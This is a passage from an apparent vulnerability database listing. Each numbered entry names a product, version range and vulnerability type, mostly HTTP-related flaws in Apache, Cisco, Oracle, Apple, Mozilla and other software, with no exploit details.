18060| [99553] Cesanta MongooseOS/Mongoose Embedded Web Server Library mongoose.c mg_http_multipart_wait_for_boundary POST Request denial of service
18061| [99542] Synology Photo Station up to 6.3 HTTP Header photo/login.php Shell Metacharacter privilege escalation
18062| [99492] Facebook Proxygen HTTPMessage.request State Hijacking privilege escalation
18063| [99366] XiongMai uc-httpd HTTP Request directory traversal
18064| [99322] Trend Micro InterScan Web Security Virtual Appliance 6.5 HTTPS Traffic weak encryption
18065| [99317] Nextcloud Server up to 9.0.54/10.0.1 Quota HTTP Header privilege escalation
18066| [99288] Django up to 1.8.17/1.9.12/1.10.6 django.utils.http.is_safe_url cross site scripting
18067| [99125] Snoopy _httpsrequest privilege escalation
18068| [99570] Apache Tomcat up to 6.0.52/7.0.76/8.0.42/8.5.12/9.0.0.M18 HTTP Connector Cache information disclosure
18069| [99569] Apache Tomcat up to 6.0.52/7.0.76/8.0.42/8.5.12/9.0.0.M18 HTTP/2 GOAWAY Frame Resource Exhaustion denial of service
18070| [98998] OpenBSD 5.9 httpd Memory Consumption denial of service
18071| [98858] Apple tvOS up to 10.1 HTTPProtocol cross site scripting
18072| [98824] Apple watchOS up to 3.1 HTTPProtocol cross site scripting
18073| [98743] Apple iOS up to 10.2 HTTPProtocol unknown vulnerability
18074| [98631] Apple macOS up to 10.12.3 HTTPProtocol unknown vulnerability
18075| [98498] libgit2 up to 0.24.5/0.25.0 transports/http.c http_connect spoofing
18076| [98312] IBM Algorithmics One-Algo Risk Application 4.9.1/5.0/5.1.0 Report HTTP Request information disclosure
18077| [98291] Suricata up to 2.0.5 HTTP Request MemcmpLowercase privilege escalation
18078| [97936] Intel VirusScan Enterprise Linux up to 2.0.3 HTTP Header NailsConfig.html information disclosure
18079| [97892] Apache Tomcat up to 9.0.0.M15 Reverse-Proxy Http11InputBuffer.java information disclosure
18080| [97879] Goahead Web Server HTTP GET Request system.ini information disclosure
18081| [97809] EvoStream Media Server 1.7.1 HTTP Request memory corruption
18082| [97735] Asus RT-AC53 3.0.0.4.380.6038 HTTP Header Session Hijacking weak authentication
18083| [97727] IBM Tivoli Monitoring 6.2/6.3 Host Header HTTP Poisoning privilege escalation
18084| [97776] Mozilla Firefox up to 51.x HTTP Digest Authorization Response Out-of-Bounds memory corruption
18085| [97770] Mozilla Firefox up to 51.x HttpChannel NULL Pointer Dereference denial of service
18086| [97579] GNU wget up to 1.19.1 HTTP Header url.c url_parse privilege escalation
18087| [97834] Dahua DVR/NVR/IPC HTTP Service Backdoor privilege escalation
18088| [97081] Apache Tomcat HTTPS Request denial of service
18089| [97037] SAP Kernel 7.21-7.49 Message Server HTTP Daemon msgserver/group memory corruption
18090| [96750] FFmpeg up to 2.8.9/3.0.4/3.1.5/3.2.1 HTTP Response libavformat/http.c memory corruption
18091| [96723] IBM Sterling B2B Integrator Standard Edition HTTP OPTIONS information disclosure
18092| [96323] MyBB/MyBB Merge System up to 1.6.17/1.8.5 Forum Password xmlhttp.php privilege escalation
18093| [96298] OkHttp up to 2.7.3/3.1.1 Certificate weak authentication
18094| [96099] Huawei OceanStor 5800 HTTP Flooding denial of service
18095| [96077] PEAR HTTP_Upload v1.0.0b3 Upload.php privilege escalation
18096| [95851] Zoho WebNMS Framework 5.2/5.2 SP1 HTTP Header privilege escalation
18097| [95841] pecl_http up to 3.0.0 URL Parser memory corruption
18098| [95835] CakePHP up to 3.2.4 HTTP Header clientIp spoofing
18099| [95808] PRTG Network Monitor up to 16.2 HTTP XML REST Value Sensor 16.2.23.3077/3078 XML External Entity
18100| [95365] DiskBoss Enterprise HTTP GET memory corruption
18101| [95291] ZoneMinder 1.30.0 Apache httpd privilege escalation
18102| [95194] DiskBoss Enterprise 7.5.12 HTTP POST Request memory corruption
18103| [95120] Python HPACK Library up to 2.2.0 HTTP/2 HPACK Bomb denial of service
18104| [95119] Python Priority Library up to 1.1.x HTTP/2 CPU Exhaustion denial of service
18105| [95118] http-client up to 0.10 Environment Variable Proxy privilege escalation
18106| [95070] Pidgin MXIT Protocol HTTP Response Out-of-Bounds memory corruption
18107| [95033] DotClear up to 2.10.2 HTTP Host privilege escalation
18108| [94650] Siemens Desigo PX Web Module HTTPS Certificate Generation weak authentication
18109| [94635] Netgear WNR2000v3/WNR2000v4/WNR2000v5 uhttpd /apply.cgi memory corruption
18110| [94627] Apache HTTP Server up to 2.4.24 mod_auth_digest Crash denial of service
18111| [94626] Apache HTTP Server up to 2.4.24 mod_session_crypto Padding weak encryption
18112| [94625] Apache HTTP Server up to 2.4.24 Response Split privilege escalation
18113| [94167] Cisco IOS XR 6.1.1.BASE HTTP 2.0 Request Crash denial of service
18114| [94161] Cisco Web Security Appliance 9.0.1-162/9.1.1-074 HTTP URL Parser denial of service
18115| [93958] Apache HTTP Server up to 2.4.23 mod_http2 h2_stream.c denial of service
18116| [93903] Boa Webserver 0.92r HTTP GET send_redirect memory corruption
18117| [93879] IBM BigFix Remote Control up to 9.1.2 Broker Application HTTP Request denial of service
18118| [93740] Siemens SIMATIC S7-400 Session Cookie httponly privilege escalation
18119| [93714] Jaws CMS 1.1.1 Cookie httponly privilege escalation
18120| [93797] Apache Tomcat up to 6.0.47/7.0.72/8.0.38/8.5.6/9.0.0.M11 HTTP Split privilege escalation
18121| [93796] Apache Tomcat up to 8.5.6/9.0.0.M11 HTTP/2 Header Parser denial of service
18122| [93194] DokuWiki 2016-06-26a Media File Fetching /inc/HTTPClient.php HttpClient information disclosure
18123| [93021] IBM Security Guardium Database Activity Monitor up to 9.4/10.0.0.1 HTTP Request privilege escalation
18124| [93038] Mozilla Firefox up to 49.0.1 HTTP Cache information disclosure
18125| [93000] Cisco ASA 5.4.1.5/6.0/6.0.0.1 on 5500-X Firepower Detection Engine HTTP Restart denial of service
18126| [92936] Oracle E-Business Suite 12.1.3 HTTP Server information disclosure
18127| [92327] Drupal up to 8.1.9 HTTP Exception cross site scripting
18128| [92230] D-Link DWR-932B HTTP Service Default Admin Password privilege escalation
18129| [91831] Apache Jackrabbit up to 2.13.2 HTTP Header cross site request forgery
18130| [92128] Apple tvOS up to 9.x IOAcceleratorFamily Memory information disclosure
18131| [92110] Apple watchOS up to 2.x IOAcceleratorFamily Memory information disclosure
18132| [92080] Apple macOS up to 10.11 IOAcceleratorFamily memory corruption
18133| [92002] Apple iOS up to 10 IOAcceleratorFamily Memory information disclosure
18134| [91693] AVer Information EH6108H+ X9.03.24.00.07l HTTP Cookie Password weak encryption
18135| [91662] Pivotal Cloud Foundry Elastic Runtime up to 1.6.37/1.7.18 PHP Buildpack HTTP GET Request information disclosure
18136| [91661] Cisco Web Security Appliance up to 9.5.0-444 HTTP Request denial of service
18137| [91511] Cisco Hosted Collaboration Mediation Fulfillment up to 10.6(3) HTTP Request directory traversal
18138| [91489] Cisco SPA300/SPA500/SPA51x HTTP Request denial of service
18139| [91472] Cisco FireSIGHT/Firepower Management Center up to 6.0 Malware Detection HTTP Header Evasion privilege escalation
18140| [91045] CPython up to 2.7.9/3.4.3 HTTP Header HTTPConnectionputheader privilege escalation
18141| [90899] Cisco IP Phone 8800 11.0(1) HTTP Request denial of service
18142| [90923] ObiHai ObiPhone 1032/ObiPhone 1062 HTTP Header NULL Pointer Dereference denial of service
18143| [90920] ObiHai ObiPhone 1032/ObiPhone 1062 HTTP Digest Authentication Implementation weak authentication
18144| [90834] Cisco ASA 4.10.3.9/5.2.0/5.3.0.4/5.3.1/5.4.0 FirePOWER Services HTTP Request privilege escalation
18145| [90892] IBM WebSphere Application Server 7.0/8.0/8.5/8.5.5 HttpSessionIdReuse memory corruption
18146| [90586] Cisco RV180/RV180W HTTP Request privilege escalation
18147| [91303] Opera Web Browser HTTP/2 HEIST information disclosure
18148| [91302] Mozilla Firefox HTTP/2 HEIST information disclosure
18149| [91301] Microsoft Edge HTTP/2 HEIST information disclosure
18150| [91300] Microsoft Internet Explorer HTTP/2 HEIST information disclosure
18151| [91299] Google Chrome HTTP/2 HEIST information disclosure
18152| [91298] Apple Safari HTTP/2 HEIST information disclosure
18153| [91297] Opera Web Browser HTTPS HEIST information disclosure
18154| [91296] Mozilla Firefox HTTPS HEIST information disclosure
18155| [91295] Microsoft Edge HTTPS HEIST information disclosure
18156| [91294] Microsoft Internet Explorer HTTPS HEIST information disclosure
18157| [91293] Google Chrome HTTPS HEIST information disclosure
18158| [91292] Apple Safari HTTPS HEIST information disclosure
18159| [90374] Cisco FireSIGHT System Software 5.3.0/5.3.1/5.4.0/6.0/6.0.1 Snort Rule HTTP Header privilege escalation
18160| [90363] International Components for Unicode up to 57.1 common/uloc.cpp uloc_acceptLanguageFromHTTP memory corruption
18161| [90213] PHP up to 5.5.37/5.6.23/7.0.8 locale_methods.c locale_accept_from_http memory corruption
18162| [89910] Oracle HTTP Server 11.1.1.9/12.1.3.0 SSL/TLS Module information disclosure
18163| [89669] Apache HTTP Server up to 2.4.23 RFC 3875 Namespace Conflict Environment Variable Open Redirect
18164| [89668] Google Go up to 1.6 net/http Environment Variable Open Redirect
18165| [89143] Blue Coat PacketShaper up to 11.5.3.1 HTTPS Server information disclosure
18166| [88747] Apache HTTP Server 2.4.17/2.4.18 mod_http2 denial of service
18167| [88515] Cisco RV110W/RV215W HTTP Request memory corruption
18168| [88532] IBM TRIRIGA Application Platform up to 3.3.2.5/3.4.2.3/3.5.0.1 HTTP Response information disclosure
18169| [88516] Cisco Prime Infrastructure up to 3.1 HTTP Request Command privilege escalation
18170| [88333] IBM WebSphere Application Server 7.0/8.0/8.5/8.5.5 HTTP Response Splitting privilege escalation
18171| [91845] Pidgin up to 2.10.x HTTP Content-Length memory corruption
18172| [88051] H2O up to 1.7.2/2.0.0-beta4 HTTP2 Connection lib/http2/connection.c memory corruption
18173| [88036] Trend Micro Worry-Free Business Security 9.0 HTTP Header cross site scripting
18174| [88108] GNU wget up to 1.17 HTTP Redirect File privilege escalation
18175| [88667] Apache HTTP Server up to 2.4.20 mod_http2 Certificate weak authentication
18176| [87727] Cisco Prime Network Analysis Module up to 6.1/6.2 HTTP Request Command privilege escalation
18177| [87729] Lenovo Accelerator Application UserAgent spoofing
18178| [87716] Cisco Prime Network Analysis Module up to 6.1/6.2 HTTP Request Command privilege escalation
18179| [87584] WordPress up to 4.4.1 wp-includes/http.php wp_http_validate_url Server-Side Request Forgery
18180| [87549] Cisco Web Security Appliance up to 8.8 HTTP Response Code Memory denial of service
18181| [87548] Cisco Web Security Appliance up to 8.8 HTTP Length Request denial of service
18182| [87546] Cisco Web Security Appliance up to 8.5.3-055 HTTP POST Request denial of service
18183| [87407] PHP up to 5.4.43/5.5.27/5.6.11 ext/soap/php_http.c SoapClient::__call memory corruption
18184| [87133] Squid Proxy 3.5.17/4.0.9 HTTP Request privilege escalation
18185| [83737] HTTPS NIO Connector Socket Timeout denial of service
18186| [83741] ImageMagick up to 6.9.3-9/7.0.1 HTTP/FTP Coder cross site request forgery
18187| [82748] Ecava IntegraXor up to 5.0 HTTPOnly Cookie information disclosure
18188| [82747] Ecava IntegraXor up to 5.0 HTTP Header CRLF privilege escalation
18189| [82846] NetBSD up to 6.0.6/6.1.5/7.0 bozohttpd privilege escalation
18190| [82732] Cisco Wireless LAN Controller up to 8.0.x HTTP Request memory corruption
18191| [82731] Cisco AireOS up to 7.4.120.0/7.5.x/7.6.100.0 on WLC HTTP Request Reload denial of service
18192| [82607] Oracle HTTP Server 12.1.2.0 OSSL Module unknown vulnerability
18193| [82444] Apache Camel up to 2.14.x/2.15.4/2.16.0 HTTP Request privilege escalation
18194| [82395] Huawei S5300EI HTTPS/FTP Server Memory Leak denial of service
18195| [82327] Cisco Unified Computing System up to 1.3(1b) HTTP Request Command privilege escalation
18196| [82234] Microsoft Windows 10 HTTP.sys HTTP Request denial of service
18197| [82092] Trend Micro Password Manager Pro HTTP Server openUrlInDefaultBrowser privilege escalation
18198| [82052] Apache Ranger up to 0.4.x Policy Admin Tool HTTP Request cross site scripting
18199| [81880] SAP Java AS 7.4 Java Startup Framework jstart HTTP Request denial of service
18200| [81879] SAP Java AS 7.4 Internet Communication Manager HTTP Request denial of service
18201| [81707] Node.js up to 0.10.41/0.12.9/4.2.x/5.5.x HTTP Header Parser UTF-8 Encoding privilege escalation
18202| [81704] Node.js up to 0.10.41/0.12.9/4.2.x/5.5.x HTTP Header Content Smuggling privilege escalation
18203| [81696] Apache ActiveMQ up to 5.13.1 HTTP Header privilege escalation
18204| [81636] Cisco Prime Infrastructure up to 2.2.2 HTTP POST Request memory corruption
18205| [81626] Cisco TelePresence Server/Mobility Services Engine HTTP Memory Consumption denial of service
18206| [81565] Squid Proxy up to 3.5.15/4.0.7 HTTP Response denial of service
18207| [81563] Snort IDS up to 2.9.8.1 Malware Detection HTTP Header privilege escalation
18208| [81552] Cisco ASA/AMP/FirePOWER Malware Detection HTTP Header privilege escalation
18209| [81487] Apple iOS up to 9.2 HTTPProtocol memory corruption
18210| [81436] Apple Mac OS X up to 10.11.3 HTTPProtocol memory corruption
18211| [81358] Apple Software Update up to 2.1 on Windows HTTP weak encryption
18212| [81387] PHP 5.5.32 SOAP Request make_http_soap_request memory corruption
18213| [81316] Cisco DPC2203/EPC2203 r 1 Web Server HTTP Request memory corruption
18214| [81315] Cisco DPQ3925 r 1 Admin Interface HTTP Request Restart denial of service
18215| [81314] Cisco DPC3939/DPC3941 Admin Interface HTTPS Request information disclosure
18216| [81313] Cisco ASA 5500 up to 6.6 HTTPS Packet Memory Consumption denial of service
18217| [81189] Cisco Prime Infrastructure 3.0 Log View HTTP Request privilege escalation
18218| [81149] Cisco Web Security Appliance Web Proxy HTTPS Request denial of service
18219| [81146] Django 1.8.1/1.8.2/1.8.6/1.9 django.utils.http.is_safe_url cross site scripting
18220| [81137] phpMyAdmin up to 4.5.5.0 X.509 Certificate Validation Config.class.php checkHTTP information disclosure
18221| [81100] Wireshark 2.0.0/2.0.1 HTTP2 Dissector packet-http2.c denial of service
18222| [81111] Squid Proxy up to 4.0.6 HTTP Status Code http.cc denial of service
18223| [81110] Squid Proxy up to 3.5.14/4.0.6 Response http.cc denial of service
18224| [81108] Squid Proxy up to 3.5.14/4.0.6 HTTP Header denial of service
18225| [81132] Squid Proxy 3.5.13/4.0 HTTP Status Code http.cc denial of service
18226| [80756] Janrain PHP OpenID Library HTTP Host Header common.php privilege escalation
18227| [80739] KDDI Home Spot Cube 1 HTTP Header CRLF privilege escalation
18228| [80714] Privoxy up to 3.0.23 HTTP Host Header parsers.c client_host denial of service
18229| [80617] SAP HANA XS Engine HTTP Request Log privilege escalation
18230| [80616] SAP HANA XS Engine HTTP Request memory corruption
18231| [80615] CGit up to 0.11 HTTP Header authenticate_post memory corruption
18232| [80614] CGit up to 0.11 ui-shared.c cgit_print_http_headers cross site scripting
18233| [80611] Cisco Web Security Appliance 8.5.3-055/9.1.0-000/9.5.0-235 Proxy Engine HTTP Method privilege escalation
18234| [80577] Oracle Secure Global Desktop 4.63/4.71/5.2 Apache HTTP Server denial of service
18235| [80477] Oracle E-Business Suite 11.5.10.2 HTTP Server denial of service
18236| [80279] FFmpeg 2.x HTTP Live Stream M3U8 File Cross-Origin privilege escalation
18237| [80278] FFmpeg 2.x HTTP Live Stream M3U8 File Cross-Origin privilege escalation
18238| [80203] Prosody up to 0.9.8 mod_http_files File directory traversal
18239| [80199] nghttp2 up to 1.5.x Idle Stream Use-After-Free memory corruption
18240| [80196] Shell in a Box up to 2.18 HTTPS Fallback /plain privilege escalation
18241| [80175] IBM WebSphere Message Broker up to 7.0.0.7/8.0.0.5 HTTP Server information disclosure
18242| [79965] Mediabridge Medialink MWN-WAPR300N 5.07.50 HTTP Cookie privilege escalation
18243| [79958] OrientDB Server Community Edition up to 2.0.14/2.1.0 Studio OHttpSessionManager.java weak authentication
18244| [79893] eWON Device up to 10.1s0 HTTP GET Request information disclosure
18245| [79868] Cisco DPQ3925 HTTP Request information disclosure
18246| [79867] Cisco FireSIGHT Management Center HTTP Detection SSL Session privilege escalation
18247| [79830] Joomla CMS up to 1.5.x/2.x/3.4.5 HTTP Header PHP Code Execution privilege escalation
18248| [79813] Mozilla Firefox 42 HTTP/2 Frame Underflow denial of service
18249| [79812] Mozilla Firefox 42 HTTP/2 Frame Underflow denial of service
18250| [79594] Apple iOS up to 9.1 CFNetwork HTTPProtocol privilege escalation
18251| [79557] Apple Mac OS X up to 10.11.1 IOAcceleratorFamily memory corruption
18252| [79542] Apple Mac OS X up to 10.11.1 CFNetwork HTTPProtocol privilege escalation
18253| [79402] Ceph up to 0.94.3 Object Gateway HTTP Response Splitting privilege escalation
18254| [79399] Dell iDRAC6/iDRAC7/iDRAC8 HTTP cross site scripting
18255| [79398] Dell iDRAC6 HTTP privilege escalation
18256| [79280] Apple iOS up to 8.x CFNetwork HTTPProtocol information disclosure
18257| [79272] Exemys Telemetry Web Server HTTP Location Header privilege escalation
18258| [79074] IBM Security Access Manager For Web up to 7.0.0.15/8.0.1.2 WebSEAL HTTPTransformation Request File privilege escalation
18259| [78925] Allen-Bradley MicroLogix 1100/1400 HTTP Request memory corruption
18260| [78890] OpenStack Image Service up to 2014.2.3/2015.1.1 HTTP Header privilege escalation
18261| [78867] 3S-Smart CODESYS Gateway Server up to 2.3.9.47 HTTP Request GET Request/POST Request NULL Pointer Dereference denial of service
18262| [78861] IniNet embeddedWebServer up to 2.01 HTTP Request Stack-Based memory corruption
18263| [78842] Apple OS X Server up to 5.0.14 HTTP Header Configuration privilege escalation
18264| [78818] Apple Mac OS X up to 10.11.0 IOAcceleratorFamily memory corruption
18265| [78753] Apple iOS up to 9.0 IOAcceleratorFamily memory corruption
18266| [78578] Oracle Fusion Middleware 11.1.1.9 HTTP Server denial of service
18267| [78577] Oracle Fusion Middleware 10.1.3.5/11.1.1.7/11.1.1.9/12.1.2.0/12.1.3.0 HTTP Server denial of service
18268| [78571] Oracle Fusion Middleware 11.1.1.7/12.1.2.0/12.1.3.0 HTTP Server denial of service
18269| [78565] Oracle Fusion Middleware 10.1.3.5/11.1.1.7/11.1.1.9/12.1.2.0/12.1.3.0 HTTP Server denial of service
18270| [78876] Red Hat JBoss Enterprise Application Platform up to 6.4.3 HTTP Management Interface Large Header Memory Exhaustion privilege escalation
18271| [78389] Microsoft Edge HTTP Response cross site scripting
18272| [78297] Apache Commons Components HttpClient up to 4.3.5 HTTPS Timeout denial of service
18273| [78164] Google Android up to 5.1.0 BpMediaHTTPConnection IMediaHTTPConnection.cpp readAt memory corruption
18274| [78145] TIBCO Managed File Transfer Internet Server up to 7.2.4 HTTP Request information disclosure
18275| [78104] Apple Watch up to 1.0.2 IOAcceleratorFamily Kernel Memory information disclosure
18276| [77987] amoCRM Module up to 7.x-1.1 on Drupal HTTP POST Request cross site scripting
18277| [77976] Securifi Almond HTTP Header Clickjacking spoofing
18278| [77785] Apple iOS up to 8.4.1 IOAcceleratorFamily Kernel Memory information disclosure
18279| [77726] WP Limit Login Attempts Plugin up to 2.0.0 on WordPress HTTP Header wp-limit-login-attempts.php getip sql injection
18280| [77703] Asus TM-AC1900 Router HTTP Header Stack-Based memory corruption
18281| [77659] Cisco Email Security Appliance 7.6.0/8.0.0 HTTP Request memory corruption
18282| [77557] MyBB up to 1.8.4 Quick Edit xmlhttp.php edit cross site scripting
18283| [77493] Softing PROFIBUS Single Channel FG-x00-PB_V2.02.0.00 cgi-bin/CFGhttp/ cross site scripting
18284| [77492] OkCupid OK Web Server 404 Error Message libahttp/err.c cross site scripting
18285| [77356] Cisco TelePresence Video Communication Server X8.5.2 HTTP Request Command privilege escalation
18286| [77342] Cisco TelePresence Video Communication Server X8.5.2 HTTP Request privilege escalation
18287| [77298] HTTP Strict Transport Security Module up to 6.x-1.0/7.x-1.1 on Drupal Subdomain weak encryption
18288| [77263] VideoLAN VLC Media Player up to 2.1.x network/httpd.c httpd_HtmlError cross site scripting
18289| [77261] Cisco FireSIGHT Management Center 5.3.1.4 HTTP POST Request denial of service
18290| [77075] Mozilla Firefox 39 XMLHttpRequest::Open memory corruption
18291| [77656] IBM HTTP Server 6.1/7.0/8.0/8.5/8.5.5 Stack-Based memory corruption
18292| [76737] Cisco Prime Collaboration 10.0 HTTP Request Outage denial of service
18293| [76726] Siemens SICAM MIC up to 2403 HTTP Request weak authentication
18294| [76733] Apache HTTP Server 2.4.7/2.4.8/2.4.9/2.4.10/2.4.12 ap_some_auth_required unknown vulnerability
18295| [76732] Apache HTTP Server 2.4.7/2.4.8/2.4.9/2.4.10/2.4.12 Request apr_brigade_flatten privilege escalation
18296| [76731] Apache HTTP Server 2.4.12 ErrorDocument 400 Crash denial of service
18297| [76221] Apple Mac OS X 10.9.5/10.10/10.10.1/10.10.2/10.10.3 IOAcceleratorFamily memory corruption
18298| [76220] Apple Mac OS X 10.9.5/10.10/10.10.1/10.10.2/10.10.3 IOAcceleratorFamily memory corruption
18299| [76131] IBM WebSphere Commerce up to 6.0.0.11/7.0.0.8 HTTP Header privilege escalation
18300| [76065] Async Http Client up to 1.8.x X.509 Certificate Validator AsyncHttpClientConfig.java spoofing
18301| [76064] Async Http Client up to 1.8.x X.509 Certificate Validator spoofing
18302| [76043] cURL/libcURL up to 7.42.1 HTTP Basic Authentication Credentials information disclosure
18303| [76028] Cisco Web Security Appliance 8.5.0-497 HTTP Header cross site scripting
18304| [75864] Cisco FireSIGHT System Software 5.3.1.1 HTTP Request cross site scripting
18305| [75723] Cisco TelePresence up to 6.3.3/7.3.2 on Integrator C SX20 CRLF HTTP Response Splitting privilege escalation
18306| [75620] Cisco Conductor for Videoscape/Headend System Release 3.0 HTTP Cookie privilege escalation
18307| [75609] Wavelink ConnectPro TermProxy Service WLTermProxyService.exe HTTP Header memory corruption
18308| [75608] Wavelink Terminal Emulation License Server LicenseServer.exe HTTP Header memory corruption
18309| [75579] lighttpd 1.4.35 Log File mod_mysql_vhost.c privilege escalation
18310| [75566] lighttpd 1.4.35 Log File http_auth.c information disclosure
18311| [75548] HP Network Virtualization 8.61/11.52 HttpServlet/NetworkEditorController File privilege escalation
18312| [75455] Apple Watch OS 1.0 IOAcceleratorFamily privilege escalation
18313| [75392] Cisco Security Manager 4.7(0)SP1(1) HTTP Module cross site scripting
18314| [75206] Cisco UCS Central Software up to 1.2 HTTP Request privilege escalation
18315| [75176] Samsung Security Manager up to 1.30 HTTP Request privilege escalation
18316| [75174] cURL/libcURL up to 7.42.0 HTTP Header Proxy information disclosure
18317| [75163] Cisco StarOS 12.0/12.2(300)/14.0/14.0(600) on ASR 5000 HTTP Reload denial of service
18318| [75116] TVMOBiLi up to 2.1.0.3973 HTTP Request HttpUtils.dll memory corruption
18319| [75135] PHP 5.4/5.5 HTTP Request sapi_apache2.c apache2handler privilege escalation
18320| [74994] Lenovo ThinkServer System Manager up to 1.27.73475 Authentication HTTP Request Handler Crash denial of service
18321| [74833] Microsoft Windows 7 SP1/8/8.1/Server 2012/Server 2012 R2 HTTP Request HTTP.sys privilege escalation
18322| [74764] Apple iOS up to 8.2 IOAcceleratorFamily Kernel Memory information disclosure
18323| [74714] Apple MacOS X up to 10.10.2 CFNetwork HTTPProtocol Cookie privilege escalation
18324| [74651] Red Hat Docker up to 1.5.0 HTTPS Connection weak encryption
18325| [74657] Mozilla Firefox up to 37.0.0 HTTP/2 Alt-Svc Header weak authentication
18326| [74481] Django up to 1.6.8 Javascript utilshttpis_safe_url cross site scripting
18327| [74017] Citrix Netscaler 10.5 HTTP Header privilege escalation
18328| [74367] Apache HTTP Server up to 2.4.12 mod_lua lua_request.c wsupgrade denial of service
18329| [69235] Jetty httpd up to 9.2.8 HttpParser Memory information disclosure
18330| [69217] Mozilla Firefox 35 XMLHttpRequest Calls memory corruption
18331| [69198] Squid Proxy 3.1.9 HTTP Header Injection cross site scripting
18332| [74152] Acme Mini HTTPd up to 1.21 Protocol Out-of-Bounds information disclosure
18333| [69092] Apache Tomcat up to 6.0.42/7.0.54/8.0.8 HTTP Request Smuggling privilege escalation
18334| [69028] Cisco Unified IP Phone 9900 9.3(4.24) HTTP Request File Upload privilege escalation
18335| [73818] IBM WebSphere Message Broker up to 8.0.0.4 HTTPInput Node information disclosure
18336| [68929] Apple iOS up to 8.1.2 IOAcceleratorFamily memory corruption
18337| [68884] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 IOAcceleratorFamily NULL Pointer Dereference memory corruption
18338| [69014] libcURL 7.30.0/7.31.0 HTTP Proxy cross site request forgery
18339| [68677] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
18340| [68676] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
18341| [68675] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener parser.c xmlParserHandlePEReference denial of service
18342| [68668] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener cross site request forgery
18343| [68667] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
18344| [68666] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
18345| [68665] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
18346| [68659] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener memory corruption
18347| [68658] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener mod_status.c lua_ap_scoreboard_worker memory corruption
18348| [68650] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener memory corruption
18349| [68970] Django up to 1.7.2 django.util.http.is_safe_url cross site scripting
18350| [68522] Cisco Secure Access Control Server 5.5/5.6 HTTP privilege escalation
18351| [73356] Cisco Meraki HTTP unknown vulnerability
18352| [73354] Cisco Meraki HTTP privilege escalation
18353| [73353] Cisco Meraki HTTP unknown vulnerability
18354| [73211] ULTRAPOP i-HTTPD cross site scripting
18355| [73210] ULTRAPOP i-HTTPD cross site scripting
18356| [73209] ULTRAPOP i-HTTPD cross site scripting
18357| [73208] ULTRAPOP i-HTTPD Server Side Includes privilege escalation
18358| [68309] Mozilla Firefox 31.2/33.0 XMLHttpRequest Crash denial of service
18359| [68575] Apache HTTP Server up to 2.4.10 LuaAuthzProvider mod_lua.c privilege escalation
18360| [68565] WordPress up to 4.0 wp-includes/http.php privilege escalation
18361| [68435] Apache HTTP Server 2.4.10 mod_proxy_fcgi.c handle_headers denial of service
18362| [68198] F5 BIG-IP 10.2.1 HTTP POST Request properties.jsp directory traversal
18363| [68128] cURL/libcURL 7.20.0/7.21.0/7.31.0 HTTP POST curl_easy_duphandle information disclosure
18364| [68100] Linksys EA up to 2.0.14294 SMART WiFi Firmware HTTP POST Request information disclosure
18365| [68077] BSD FTP Client HTTP Redirect privilege escalation
18366| [68088] McAfee Network Data Loss Prevention 8.6/9.2.0/9.2.1 HTTP Cookie httponly information disclosure
18367| [68007] Apple Mac OS X up to 10.9.3 IOAcceleratorFamily NULL Pointer Dereference denial of service
18368| [67799] Mozilla Firefox 30.0/31.0/31.1.0/32.0 SPDY/HTTP2 privilege escalation
18369| [67798] Mozilla Firefox 30.0/31.0/31.1.0/32.0 SPDY/HTTP2 privilege escalation
18370| [68050] Splunk Enterprise up to 5.0.9 HTTP Referer Header cross site scripting
18371| [71913] Rejetto HTTP File Server up to 2.3c memory corruption
18372| [71861] Rejetto HTTP File Server up to 2.x parserLib.pas findMacroMarker unknown vulnerability
18373| [67739] Tenable Nessus 2.3.3 HTTP Header cross site scripting
18374| [71693] HAProxy 1.5.0/1.5.1/1.5.2/1.5.3 proto_http.c http_request_forward_body memory corruption
18375| [67680] Debian apt 1.0.1 HTTP Transport Code memory corruption
18376| [67649] Apple Mac OS X up to 10.9.4 IOAcceleratorFamily memory corruption
18377| [67648] Apple Mac OS X up to 10.9.4 IOAcceleratorFamily memory corruption
18378| [67578] Apple iOS up to 7.1.2 IOAcceleratorFamily denial of service
18379| [67577] Apple iOS up to 7.1.2 IOAcceleratorFamily denial of service
18380| [71220] Miniupnpd 1.9 miniwget.c getHTTPResponse denial of service
18381| [67790] Apache HTTP Server mod_cache NULL Pointer Dereference denial of service
18382| [70806] Apache Commons-httpclient 4.2/4.2.1/4.2.2 spoofing
18383| [70748] Monkey HTTP Daemon up to 0.9.0 denial of service
18384| [70449] ACME Micro Httpd memory corruption
18385| [67212] NetBSD 5.1/5.2/6.0/6.1 bozohttpd snprintf information disclosure
18386| [67172] Cisco DPC3010/DPC3212/EPC3010/EPC3212 HTTP Request memory corruption
18387| [67086] Oracle HTTP Server 11.1.1.7.0/12.1.2.0 Plugin 1.1 information disclosure
18388| [67085] Oracle HTTP Server 11.1.1.7.0/12.1.2.0 Plugin 1.1 unknown vulnerability
18389| [67183] Apache HTTP Server up to 2.4.9 mod_proxy denial of service
18390| [67180] Apache HTTP Server up to 2.4.9 WinNT MPM Memory Leak denial of service
18391| [67185] Apache HTTP Server up to 2.4.9 mod_status Heap-Based memory corruption
18392| [67184] Apache HTTP Server 2.4.5/2.4.6 mod_cache NULL Pointer Dereference denial of service
18393| [67182] Apache HTTP Server up to 2.4.9 mod_deflate Memory Consumption denial of service
18394| [67181] Apache HTTP Server up to 2.4.9 mod_cgid denial of service
18395| [66971] Apple Mac OS X up to 10.9.2 IOAcceleratorFamily memory corruption
18396| [70036] Monkey HTTP Daemon mk_request.c mk_request_header_process memory corruption
18397| [70034] Monkey HTTP Daemon Access Restriction unknown vulnerability
18398| [70033] Monkey HTTP Daemon denial of service
